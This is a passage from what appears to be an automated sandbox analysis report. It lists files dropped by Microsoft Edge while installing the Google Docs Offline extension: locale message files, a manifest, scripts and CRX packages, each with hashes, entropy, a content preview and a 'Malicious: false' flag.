Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1196898210\ff8f9b79-a427-4f20-8477-86c1a03cfd9d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1262213997\5a92577b-4716-4cdf-9784-fcb90090e7a8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7896_1262213997\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
